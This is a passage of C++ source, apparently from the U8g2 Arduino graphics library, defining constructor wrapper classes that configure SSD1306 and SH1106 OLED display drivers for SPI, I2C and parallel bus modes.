u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X32_UNIVISION_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_UNIVISION_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_univision_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_128X32_WINSTAR_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_128X32_WINSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_128x32_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_102X64_EA_OLEDS102_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_102x64_ea_oleds102_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_6800 : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_1_8080 : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1106_128X32_VISIONOX_2_6800 : public U8G2 {\n  public: U8G2_SH1106_128X32_VISIONOX_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1106_128x32_visionox_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    